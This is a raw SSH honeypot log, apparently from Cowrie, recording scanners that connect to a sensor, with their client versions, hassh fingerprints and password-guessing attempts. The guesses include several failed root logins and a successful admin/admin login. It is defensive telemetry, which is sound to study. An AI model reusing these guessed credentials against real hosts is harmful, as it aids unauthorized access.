{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:45.521136Z","src_ip":"124.164.251.88","session":"b690f43b1d6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:46.234930Z","src_ip":"124.164.251.88","session":"b690f43b1d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:47.467889Z","src_ip":"124.164.251.88","session":"b690f43b1d6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.164.251.88","src_port":57574,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d10bc1b24fe","protocol":"ssh","message":"New connection: 124.164.251.88:57574 (10.17.0.5:22) [session: 8d10bc1b24fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:47.704993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:47.709994Z","src_ip":"124.164.251.88","session":"8d10bc1b24fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:47.964514Z","src_ip":"124.164.251.88","session":"8d10bc1b24fe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:48.693707Z","src_ip":"124.164.251.88","session":"8d10bc1b24fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:48.931645Z","src_ip":"124.164.251.88","session":"8d10bc1b24fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.220.160.39","src_port":22488,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb4a97d96c92","protocol":"ssh","message":"New connection: 102.220.160.39:22488 (10.17.0.5:22) [session: eb4a97d96c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:52.021500Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:52.026551Z","src_ip":"102.220.160.39","session":"eb4a97d96c92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.220.160.39","src_port":22492,"dst_ip":"10.17.0.5","dst_port":22,"session":"50c4b9dbab51","protocol":"ssh","message":"New connection: 102.220.160.39:22492 (10.17.0.5:22) [session: 50c4b9dbab51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:52.219624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:52.223976Z","src_ip":"102.220.160.39","session":"50c4b9dbab51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:52.326710Z","src_ip":"102.220.160.39","session":"50c4b9dbab51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123kids","message":"login attempt [root/123kids] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:52.541344Z","src_ip":"102.220.160.39","session":"50c4b9dbab51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:53.671309Z","src_ip":"102.220.160.39","session":"50c4b9dbab51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":37188,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0951e238124","protocol":"ssh","message":"New connection: 43.228.112.254:37188 (10.17.0.5:22) [session: f0951e238124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:57.424205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:57.429688Z","src_ip":"43.228.112.254","session":"f0951e238124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:57.649709Z","src_ip":"43.228.112.254","session":"f0951e238124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coach","message":"login attempt [root/coach] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:58.561491Z","src_ip":"43.228.112.254","session":"f0951e238124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":40350,"dst_ip":"159.203.135.109","dst_port":22,"session":"7968cbc30257","protocol":"ssh","message":"New connection: 103.149.28.157:40350 (159.203.135.109:22) [session: 7968cbc30257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:59.264644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:59.269624Z","src_ip":"103.149.28.157","session":"7968cbc30257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:59.519809Z","src_ip":"103.149.28.157","session":"7968cbc30257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:59.782792Z","src_ip":"43.228.112.254","session":"f0951e238124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfifcfif","message":"login attempt [root/cfifcfif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:00.277412Z","src_ip":"103.149.28.157","session":"7968cbc30257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.93.28.9","src_port":56836,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ee31286bfb6","protocol":"ssh","message":"New connection: 41.93.28.9:56836 (10.17.0.5:22) [session: 9ee31286bfb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:00.653046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:00.662657Z","src_ip":"41.93.28.9","session":"9ee31286bfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:01.535299Z","src_ip":"103.149.28.157","session":"7968cbc30257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:01.732084Z","src_ip":"41.93.28.9","session":"9ee31286bfb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daw","message":"login attempt [root/daw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:05.819712Z","src_ip":"41.93.28.9","session":"9ee31286bfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:07.799443Z","src_ip":"41.93.28.9","session":"9ee31286bfb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":38244,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d2a6b8f0b5d","protocol":"ssh","message":"New connection: 43.130.57.37:38244 (10.17.0.5:22) [session: 9d2a6b8f0b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:08.222743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:08.227563Z","src_ip":"43.130.57.37","session":"9d2a6b8f0b5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:08.296912Z","src_ip":"43.130.57.37","session":"9d2a6b8f0b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123","message":"login attempt [root/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:08.605975Z","src_ip":"43.130.57.37","session":"9d2a6b8f0b5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:09.678510Z","src_ip":"43.130.57.37","session":"9d2a6b8f0b5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48972,"dst_ip":"159.203.135.109","dst_port":22,"session":"4317cc618b07","protocol":"ssh","message":"New connection: 51.250.105.222:48972 (159.203.135.109:22) [session: 4317cc618b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:18.261749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:18.266387Z","src_ip":"51.250.105.222","session":"4317cc618b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:18.396797Z","src_ip":"51.250.105.222","session":"4317cc618b07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:18.788883Z","src_ip":"51.250.105.222","session":"4317cc618b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:19.923129Z","src_ip":"51.250.105.222","session":"4317cc618b07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":33560,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7f567105324","protocol":"ssh","message":"New connection: 45.148.10.121:33560 (159.203.135.109:22) [session: f7f567105324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:20.932303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:20.936544Z","src_ip":"45.148.10.121","session":"f7f567105324","protocol":"ssh"}
